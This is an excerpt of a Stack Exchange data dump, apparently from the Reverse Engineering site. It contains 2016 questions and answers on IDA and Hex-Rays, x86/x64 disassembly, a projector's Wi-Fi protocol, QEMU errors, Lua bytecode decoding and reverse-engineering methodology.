  <row Id="12666" PostTypeId="2" ParentId="12664" CreationDate="2016-05-17T09:57:26.173" Score="1" Body="&lt;p&gt;As far as I know there is no such configuration for hex rays decompiler. However it is possible that this code was not generated because of incorrect definition of function prototype (for example the list of parameters of the function is incomplete). You can see a bit more details about this in &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/faq.shtml#001&quot; rel=&quot;nofollow&quot;&gt;decompler FAQ&lt;/a&gt; .  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason I can imagine is incomplete control flow graph of the function.&#xA;This may happen because a lot of reasons, for example incorrectly defined switch statement in it.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-05-17T09:57:26.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12667" PostTypeId="2" ParentId="12665" CreationDate="2016-05-17T10:17:23.490" Score="0" Body="&lt;p&gt;I have not used Acunetix before, since I do not rely on automated assessment tools personally. However, I would assume, that Acunetix does the service banner grabbing, identifies the version reported there, and then matches it against a know database of vulnerabilities without actually verifying if the exploit conditions are true. Since the latter is typically left to human pentester to execute and confirm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you Google for &quot;nginx 1.3.15 before 1.4.7 and 1.5.x before 1.5.12&quot;, you would find at least:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;http://nginx.org/en/security_advisories.html&quot; rel=&quot;nofollow&quot;&gt;http://nginx.org/en/security_advisories.html&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=nginx_HTTP_vulnerabilities.html&quot; rel=&quot;nofollow&quot;&gt;http://www.saintcorporation.com/cgi-bin/demo_tut.pl?tutorial_name=nginx_HTTP_vulnerabilities.html&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These might or might not have a publicly disclosed exploit code. Depending on that you would have to either do the patch analysis, debugging and exploit development on your own. Or if you are trying to secure your server -- then you would have to patch the software or implement the latest stable release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more hints and proof-of-concept exploits you can start your search with the exploit-db.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this clarifies your question.&lt;/p&gt;&#xA;" OwnerUserId="15168" LastActivityDate="2016-05-17T10:17:23.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12669" PostTypeId="1" CreationDate="2016-05-17T14:38:24.123" Score="1" ViewCount="160" Body="&lt;p&gt;I have an Epson Ex5220 that doesn't have a linux driver and have been trying to work out communication through wifi. I can connect and send images captured through packet traces from a Windows machine with a driver but cannot create an acceptable image. Here is where the problem lies:&lt;/p&gt;&#xA;&lt;p&gt;In the data send, a jpeg image is sent with a header attached like this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00:00:00:01:00:00:00:00:02:70:01:a0:00:00:00:07:90:80:85:00&#xA;&#xA;00:00:00:04 - Number of jpeg images being sent (only the first header)&#xA;00:00 - X offset&#xA;00:00 - Y offset&#xA;02:70 - Width of Jpeg image (624 in this case)&#xA;01:a0 - Height of Jpeg image (416 in this case)&#xA;00:00:00:07:90 - Unknown (I believe it's a version number perhaps)&#xA;80:85:00 - (What I'm after) Some count of data units?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Following the header is a normal jpeg image. If I strip off that header, I can view the image. Here is a screen shot of a partial capture with the 3 bytes highlighted:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wI7Ab.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wI7Ab.jpg&quot; alt=&quot;Partial capture showing header&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have found what seems to be a base line by setting those last three bytes to 80:85:00. Anything less and the image will not project. Also the smallest image size I can send to the projector is a 3w x 1h which correlates with my first two images show below.&lt;/p&gt;&#xA;&lt;p&gt;Here are some examples:&lt;/p&gt;&#xA;&lt;h1&gt;1a - All white (RGB565) image 1024x768 - filesize 12915 - 4 blocks&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kKfPy.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kKfPy.jpg&quot; alt=&quot;#1a - All white image 1024x768&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;2a - Color (RGB565) image 1024x768 - filesize 58577 - only 3 blocks&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vd88P.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vd88P.jpg&quot; alt=&quot;#2a - Color (RGB565) image 1024x768&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I then changed the 3 bytes to 00:b5:80 (incremented the middle one by 0x30)&lt;/p&gt;&#xA;&lt;h1&gt;1b - All white (RGB565) image 1024x768 - filesize 12915 - 22 full rows and 4 blocks.&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SVohe.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SVohe.jpg&quot; alt=&quot;All white (RGB565) image 1024x768&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h1&gt;2b - Color (RGB565) image 1024x768 - filesize 58577 - 7 rows and 22 blocks.&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cKzTB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cKzTB.jpg&quot; alt=&quot;Color (RGB565) image 1024x768&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So it seems that the 3 bytes have something to do with data units. I've read lots of stuff about jpeg and am still digesting much of it but I think if I knew what was required to calculate data units, I'd find my mystery 3 bytes.&lt;/p&gt;&#xA;&lt;p&gt;ADDITIONAL INFO:&lt;/p&gt;&#xA;&lt;p&gt;The projector only supports the use of RGB565 jpeg images inside the data send.&lt;/p&gt;&#xA;&lt;p&gt;SOLUTION!!!!!&lt;/p&gt;&#xA;&lt;p&gt;I was able to solve this, but I would like to know why this works. Here is the formula for those last 3 bytes:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int iSize = bImage.length;&#xA;baHeader[17] = (byte) ((iSize) | 0x80);&#xA;baHeader[18] =  (byte) ((iSize &amp;gt;&amp;gt; 7) | 0x80);&#xA;baHeader[19] = (byte) ((iSize &amp;gt;&amp;gt; 14));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I got fed up with messing with it and just look at several images, wrote down all the file sizes and the magic bytes, converted everything to binary and hammered away at ANDing ORing bitshifting until I forced a formula that worked. I would like to know if this is related to calculating jpeg data units. I'm still researching Jpeg but it's not simple stuff!&lt;/p&gt;&#xA;" OwnerUserId="15740" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-05-18T06:46:40.443" Title="Sending image to Epson wireless Projector (SOLVED!)" Tags="|communication|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12671" PostTypeId="1" AcceptedAnswerId="12673" CreationDate="2016-05-17T15:27:31.627" Score="3" ViewCount="279" Body="&lt;p&gt;I have the following disassembly of a function prologue with comments. I'm unclear on what the author means in this line of disassembly &lt;em&gt;&lt;strong&gt;&amp;quot;lea edi,[ebp-0xcc]  ; getting the lowest address of stack frame&amp;quot;&lt;/strong&gt;&lt;/em&gt;. Dumping the headers of the executable I see the following in the OPTIONAL HEADER VALUES: &lt;em&gt;&lt;strong&gt;100000 size of stack reserve 1000.&lt;/strong&gt;&lt;/em&gt; Windows Threads default stack size is 1MB so I'm believe the values from dumpbin are in units of Kilo.&lt;/p&gt;&#xA;&lt;p&gt;Can you please clarify this statement:&#xA;&lt;em&gt;&lt;strong&gt;lea edi,[ebp-0xcc]   ; getting the lowest address of stack frame&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push ebp            ; establishing stack frame &#xA;mov ebp,esp         ; save stack pointer in ebp&#xA;sub esp,0xcc        ; creating stack frame for local variables&#xA;push ebx            ; saving registers that might be used&#xA;push esi            ; outside&#xA;push edi            ;                                     &#xA;lea edi,[ebp-0xcc]  ; getting the lowest address of stack frame &#xA;mov ecx,0x33        ; filling stack frame with 0xCC&#xA;mov eax,0xcccccccc  ; &#xA;rep stosd           ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14038" LastEditorUserId="17346" LastEditDate="2022-11-29T07:08:04.293" LastActivityDate="2022-11-29T07:08:04.293" Title="Win32 x86 prologue disassembly" Tags="|disassembly|windows|debugging|windbg|thread|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="12672" PostTypeId="1" CreationDate="2016-05-17T16:31:49.710" Score="5" ViewCount="1077" Body="&lt;p&gt;I'm new to reverse engineering and I'm following the on line course provided by the &lt;a href=&quot;http://opensecurity.info&quot; rel=&quot;nofollow&quot;&gt;opensecurity.info&lt;/a&gt; site.&lt;br&gt;&#xA;The author provides a methodology for reverse engineering. He recommends to find a function of interest and pseudo code it. &lt;br&gt;&#xA;From the wording used,  it sounds like I should reverse the whole function from the its start to its end. &lt;br&gt;&#xA;&lt;strong&gt;Is this really the recommended practice?&lt;/strong&gt;&lt;br&gt;&#xA;If my question isn't clear enough, here an hypothetical case:&#xA;Let's say I want to understand the communication protocol used to exchange data between a malware and the command and control server. Let's say I found the recv call and this call is in the middle of an unknown function. &lt;br&gt;&lt;strong&gt;Should I really reverse this unknown function from its start or should I focus on the area of the code inside this function that calls &quot;recv&quot; and go from there?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="16119" LastEditorUserId="14674" LastEditDate="2016-05-23T09:12:50.793" LastActivityDate="2016-05-23T09:12:50.793" Title="reverse engineering methodology" Tags="|functions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12673" PostTypeId="2" ParentId="12671" CreationDate="2016-05-17T18:41:30.060" Score="1" Body="&lt;p&gt;this doesnt have anything to do with stack size in pe header   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;assume  esp = 1200cc &#xA;so ebp will also be 1200cc&#xA;sub esp,0xcc  will make esp 120000   &#xA;the three pushes will alter esp but not ebp   &#xA;so  edi will be 120000   after that operation   &#xA;ecx = counter == 33  eax = 0xcccccccc &#xA;so rep stosd will fill the space from 120000 to 1200cc with 0xcccccccc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;simply put it is  memset(&amp;amp;ebp,0xcc,0xcc);&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-05-17T18:41:30.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12674" PostTypeId="1" CreationDate="2016-05-17T19:32:21.647" Score="0" ViewCount="835" Body="&lt;p&gt;I have a decompiled result from calling idaapi.decompile(). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the decompiled result, I obtain the treeitems and loop through them looking for items that are of type cexpr_t and have the opname of &quot;call&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can then grab the argument list (carglist_t) and I can easily see that I have the call I am looking for based on the number of carg_t items in the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to get is the text belonging to the carg_t object. If I call 'string', it returns None.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the text can be generated because I can call get_pseudocode on the decompiled result and print the lines of the function. However, I wanted to avoid parsing the function call text and instead have IDA give me each argument since it has already done all of the required parsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it matters, I am running IDA 6.9.&lt;/p&gt;&#xA;" OwnerUserId="13669" LastEditorUserId="13669" LastEditDate="2016-05-17T20:24:10.323" LastActivityDate="2016-05-17T20:57:42.667" Title="Obtaining the argument text from a carg_t IDA Python object" Tags="|ida|decompilation|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12675" PostTypeId="1" AcceptedAnswerId="12683" CreationDate="2016-05-17T20:19:05.650" Score="2" ViewCount="1332" Body="&lt;p&gt;In IDA's Graph View, when we select some register (for example, &lt;code&gt;esp&lt;/code&gt; in the image below), every location that the register occurs is highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to read what the selected operand is? (I want to work with registers at the moment, but it would be nice to be able to know any selected value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to get the address of the instruction using &lt;code&gt;idaapi.get_screen_ea()&lt;/code&gt;, but am unable to proceed further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ixZVW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ixZVW.png&quot; alt=&quot;esp highlight&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12862" LastActivityDate="2021-04-21T14:51:57.603" Title="IDA Python - Find highlighted register" Tags="|idapython|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12676" PostTypeId="2" ParentId="12674" CreationDate="2016-05-17T20:57:42.667" Score="1" Body="&lt;p&gt;You can get the string based on the &lt;code&gt;carg_t&lt;/code&gt;'s element type (its &lt;code&gt;ctype_t&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume that your &lt;code&gt;carg_t&lt;/code&gt; instance is a variable named &lt;code&gt;arg&lt;/code&gt;. Then for example, if &lt;code&gt;arg.op == cot_var&lt;/code&gt; then the argument's element type is a local variable. You'd get &lt;code&gt;arg&lt;/code&gt;'s &lt;code&gt;lvars_t&lt;/code&gt; index via &lt;code&gt;arg.v.idx&lt;/code&gt; and you can then get that variable's name as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;func.get_lvars()[arg.v.idx].name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2016-05-17T20:57:42.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12677" PostTypeId="1" CreationDate="2016-05-17T21:12:21.693" Score="3" ViewCount="14563" Body="&lt;p&gt;I'm trying to load a Busybox binary with qemu-ppc-static with this command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo chroot . ./qemu-ppc-static ./bin/busybox&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/lib/ld.so.1: Invalid ELF image for this architecture&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;lib/ld.so.1 is in the chrooted directory but it looks like it's trying to load another ld.so.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file busybox: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;bin/busybox: ELF 32-bit MSB  executable, PowerPC or cisco 4500, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.4.3, stripped&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16121" LastActivityDate="2016-10-15T10:21:01.847" Title="Invalid ELF image for this architecture" Tags="|qemu|emulation|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12678" PostTypeId="2" ParentId="12487" CreationDate="2016-05-18T03:03:28.557" Score="0" Body="&lt;p&gt;If you connect to LoL chat with XMPP and get info of someone from your club you will see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;clubsData&amp;gt;hYmfLrVHS1lU6FAz2BLS4UrbAmcJpH2+HEIYl0rwSQT8m9e3VBMRYLDDNY8Zp4E/LlU8h+27BaWenG7FyL/5I/7yvhy/9CfHoo0rpDuPHs1LwPgHjlwAUUxtvdbGI84h8EU+F+JfYkX8ykl+PyDe89xRBRy7EkDofuDBvzbRVdk=&amp;lt;/clubsData&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The clubsData above is from someone that is only in my club. The snippet below is of someone in that same club along with 2 other clubs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;clubsData&amp;gt;hfjHs7InQ85+N0x4O66jpcJ+815YE3z9HUuBiaCEwbe9HLN3LYvkZzxEEOFwMJs72UgOiFKh+fjhpyhQCkXd2OP7OKu5GahsHfHCrSfdJB5yut46Je8ech+o4meWHbJsLpbz0G/RCm6XKrcHpWc5n38LlxzqHIBiPd9cGKJxj18=&amp;lt;/clubsData&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not actually sure what to do with that information, but thought it might help someone here.&lt;/p&gt;&#xA;" OwnerUserId="16124" LastActivityDate="2016-05-18T03:03:28.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12679" PostTypeId="1" CreationDate="2016-05-18T06:30:51.320" Score="2" ViewCount="139" Body="&lt;p&gt;Does anybody knows a good dataset for malware families?&#xA;What i need is a dataset where malware are already classified in families.&#xA;And is not duplicate of &quot;Where can I, as an individual, get malware samples to analyze?&quot;&#xA;What i want is the malware samples plus their classification. This means n malware which are the same variant.&lt;/p&gt;&#xA;" OwnerUserId="16126" LastEditorUserId="16126" LastEditDate="2016-05-19T13:46:33.020" LastActivityDate="2016-05-19T13:46:33.020" Title="Does anybody knows a good dataset for malware families?" Tags="|malware|" AnswerCount="0" CommentCount="2" ClosedDate="2016-06-05T22:25:52.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="12680" PostTypeId="2" ParentId="12677" CreationDate="2016-05-18T07:38:07.593" Score="2" Body="&lt;p&gt;You get this error message because the ELF is stripped. See &lt;a href=&quot;http://www.devttys0.com/2011/12/qemu-vs-sstrip/&quot; rel=&quot;nofollow&quot;&gt;qemu-vs-strip&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This problem is fixed in the latest QEMU, so you have to update your QEMU or compile the latest from source.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastEditorUserId="60" LastEditDate="2016-07-17T08:49:22.447" LastActivityDate="2016-07-17T08:49:22.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12681" PostTypeId="1" CreationDate="2016-05-18T07:54:31.743" Score="0" ViewCount="1130" Body="&lt;p&gt;Anyone knows how to decrypt this lua script ?&#xA;&lt;a href=&quot;https://raw.githubusercontent.com/PewPewPew2/BoL/master/DancingShoes.lua&quot; rel=&quot;nofollow&quot;&gt;https://raw.githubusercontent.com/PewPewPew2/BoL/master/DancingShoes.lua&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16127" LastActivityDate="2016-05-18T08:18:33.363" Title="Help decrypt lua base64" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12682" PostTypeId="2" ParentId="12681" CreationDate="2016-05-18T08:18:33.363" Score="3" Body="&lt;p&gt;That's simple a some Lua bytecode (version 5.2) stored as base64. Use &lt;code&gt;base64 -d&lt;/code&gt; to decode it, and then check the binary file generated using &lt;code&gt;file&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file DancingShoes.bin&#xA;DancingShoes.bin: Lua bytecode, version 5.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2016-05-18T08:18:33.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12683" PostTypeId="2" ParentId="12675" CreationDate="2016-05-18T12:04:53.580" Score="4" Body="&lt;p&gt;You can use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.get_highlighted_identifier()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function returns highlighted text. All the IDAPython reference can be found at &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow&quot;&gt;here, at Hex-Rays site&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2016-05-18T12:04:53.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12686" PostTypeId="2" ParentId="12672" CreationDate="2016-05-18T13:35:28.877" Score="1" Body="&lt;p&gt;I suggest you took a look at the rest code, too. Finding something in specific can definitely be a breakthrough, but one line of code - especially in assembly - can't do a lot on its own. Look at the example you gave. You found how your malware communicates. Is that enough? Probably not. What is the nature of this communication? Is it a reverse shell? Is it used to transfer files? There are many different questions to be answered and - trust me - you will be very lucky if you can find them all at the same point of the code. Always look at the code around the area of interest you have. You might find functions that call other functions that do interesting stuff using the communication channel. One thing brings the other and at the end of the day, it will bring you the full structure and functionality of the malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Always use breakpoints when going from function to function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy hunting!&lt;/p&gt;&#xA;" OwnerUserId="12537" LastActivityDate="2016-05-18T13:35:28.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12687" PostTypeId="2" ParentId="12672" CreationDate="2016-05-18T14:20:55.270" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Should I really reverse this unknown function from its start&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: This is just my opinion. That said, my answer: &lt;strong&gt;no&lt;/strong&gt;, don't do that unless you really need to do that. One of the first things I always say to my students when I teach reverse engineering is actually that: never try to reverse engineer a function line-by-line unless you really need to do so (and my experience says that most of the time you don't need to do so).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation is a bit different:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Find &quot;artifacts&quot; than can give you an abstract idea about what a function does: called/referenced function names (i.e., APIs), constants, etc...&lt;/li&gt;&#xA;&lt;li&gt;After you have an abstract idea of what the function does, determine if you need to get more information from it.&lt;/li&gt;&#xA;&lt;li&gt;If so, try to determine grouping basic blocks but without analysing line-by-line, what a set of basic blocks do, trying to focus on what you do not understand or what you need to answer.&lt;/li&gt;&#xA;&lt;li&gt;If you still need more details or something is still unclear, do it basic block per basic block following the flow from the point that is not clear or from the point that you start to care.&lt;/li&gt;&#xA;&lt;li&gt;If, still, you need more information or it's still unclear, do it instruction by instruction trying to focus specifically on what you do not understand or what you need to answer and, only if still you cannot answer your questions, resort to reverse the whole function line-by-line.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Trying to go instruction by instruction or reversing the whole function when we really don't need to do so, it's easier to get lost/confused because we will be focusing on what some obscure instruction does or which flags it changes instead of focusing in answering the real questions. However, it will largely depend on why are you reverse engineering that thing. Are you trying to mimic/copy/extend an algorithm (i.e., a decryption algorithm) or recovering the source code for a binary? Then, yes, you will need to go instruction by instruction. Are you reverse engineering a piece of software/function in order to determine what it does? In general, no, you don't need to go instruction by instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My 2 cents.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="111" LastEditDate="2016-05-18T14:26:04.003" LastActivityDate="2016-05-18T14:26:04.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12688" PostTypeId="1" AcceptedAnswerId="12689" CreationDate="2016-05-18T17:01:58.647" Score="0" ViewCount="46" Body="&lt;p&gt;Let's say I have a carbon objective-c executable, and a crash report. From the crash report, it is apparent that the main method is located at &lt;code&gt;0x00002639&lt;/code&gt;, and the NSApplicationMain method from the AppKit is at &lt;code&gt;0x93ba0025&lt;/code&gt;. I anticipate that the first main method has background processes, and NSApplicationMain is the method typed by the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any sort of predictable interval to instructions? I want to make breakpoints at every instruction written by the programmer. Let's say for example that the main after the main method, the instructions are separated by 2, so from &lt;code&gt;0x93ba0025&lt;/code&gt;, the next function would be &lt;code&gt;0x93ba0027&lt;/code&gt;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would the above apply, or will I have to do something more to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="15199" LastActivityDate="2016-05-18T17:37:29.493" Title="Is there a predictable interval between instructions of main methods in carbon?" Tags="|gdb|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12689" PostTypeId="2" ParentId="12688" CreationDate="2016-05-18T17:37:29.493" Score="1" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/X86#Basic_properties_of_the_architecture&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86/x64 processors use instructions of variable length&lt;/a&gt;, so you can't assume that there is a specific number of bytes between instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd likely want to use something like a &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/12455/1562&quot;&gt;length disassembler&lt;/a&gt; in order to figure out the length of a given instruction at a given address.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-05-18T17:37:29.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12690" PostTypeId="1" AcceptedAnswerId="12691" CreationDate="2016-05-18T18:08:30.747" Score="1" ViewCount="253" Body="&lt;p&gt;I'm working through example from a Windows disassembly training guide. In the exercise &lt;strong&gt;&lt;em&gt;rax is set to a byte ptr&lt;/em&gt;&lt;/strong&gt;, then &lt;strong&gt;&lt;em&gt;rbx a word ptr&lt;/em&gt;&lt;/strong&gt;. I notice the next byte of memory is skipped before &lt;strong&gt;&lt;em&gt;rcx is to a dword ptr&lt;/em&gt;&lt;/strong&gt;. Why did a byte of memory get skipped? Is there some alignment requirement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pz5rR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pz5rR.png&quot; alt=&quot;Addressing modes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14038" LastEditorUserId="14038" LastEditDate="2016-05-18T18:22:09.580" LastActivityDate="2016-05-18T19:31:18.513" Title="x64 Memory Pointer and Addressing modes" Tags="|disassembly|debugging|windbg|" AnswerCount="1" CommentCount="0" ClosedDate="2016-05-25T05:52:27.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="12691" PostTypeId="2" ParentId="12690" CreationDate="2016-05-18T19:31:18.513" Score="3" Body="&lt;p&gt;The main reason to align the data is for performance (some architectures will fault on misaligned data, but since you tagged this with windbg, we will assume amd/intel x64 + windows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting from the AMD64 Architecture Programmer’s Manual Volume 1:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The AMD64 architecture does not impose data-alignment requirements for&#xA;  accessing data in memory. However, depending on the location of the&#xA;  misaligned operand with respect to the width of the data bus and other aspects of the hardware implementation (such as&#xA;  store-to-load forwarding mechanisms), a misaligned memory access can&#xA;  require more bus cycles than an aligned access. For maximum&#xA;  performance, avoid misaligned memory accesses.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ideally the word-sized data (pointed via rbx) would be 2-byte aligned, but as noted above, it is not required.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastActivityDate="2016-05-18T19:31:18.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12692" PostTypeId="1" AcceptedAnswerId="12703" CreationDate="2016-05-19T01:37:24.390" Score="1" ViewCount="2909" Body="&lt;p&gt;How do I reverse engineer the Android kernel currently running on an Android phone?  I'm most interested in seeing/manipulating the call stack.  Basically, gdb or something like Ollydgb would be great.  I am not looking to build the kernel from source.&lt;/p&gt;&#xA;" OwnerUserId="16134" LastEditorUserId="245" LastEditDate="2016-05-20T13:24:55.447" LastActivityDate="2016-05-20T18:34:22.813" Title="Reverse Engineering Android Kernel" Tags="|android|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
